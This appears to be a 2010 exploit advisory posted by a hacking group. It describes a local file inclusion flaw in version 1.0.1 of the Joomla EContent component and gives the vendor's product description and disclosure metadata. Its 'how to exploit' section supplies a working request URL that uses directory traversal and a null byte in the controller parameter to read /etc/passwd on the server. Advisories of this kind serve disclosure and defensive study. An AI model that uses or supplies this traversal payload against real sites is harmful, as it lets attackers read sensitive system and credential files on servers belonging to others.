Joomla EContent Local File Inclusion

`---------------------------------------------------------------------------------  
Joomla Component EContent Local File Inclusion  
---------------------------------------------------------------------------------  
  
Author : Chip D3 Bi0s  
Group : LatinHackTeam  
Email & msn : [email protected]  
Date : 31 March 2010  
Critical Lvl : Moderate  
Impact : Exposure of sensitive information  
Where : From Remote  
---------------------------------------------------------------------------  
  
Affected software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
  
Application : EContent  
version : 1.0.1  
Developer : E-Content  
website : http://www.econtentsite.com/  
License : GPL type : Non-Commercial  
Date Added : 24 March 2010  
Download : http://www.econtentsite.com/  
  
  
  
Description :  
  
If you are looking a way to add new/fresh content to your Joomla website,  
without having to write a new article everyday, then E-Content Joomla  
Component is the solution for you!  
  
As we know articles is very important for business, especially for Internet  
Marketing Business. You need to continually write unique and quality articles  
to keep the attention of visitors and search engines.  
  
E-Content allows you to automatically collect RSS feed, HTML page content items  
and have each item inserted as an Joomla article in the section and category  
you define. The content of the article will vary based on the specific page you  
select.  
  
  
--------------  
file error : components/com_econtent/econtent.php  
  
how to exploit  
  
http://127.0.0.1/index.php?option=com_econtent&controller=../../../../../../../../../../etc/passwd%00  
  
------------------------  
  
  
+++++++++++++++++++++++++++++++++++++++  
[!] Produced in South America  
+++++++++++++++++++++++++++++++++++++++  
  
`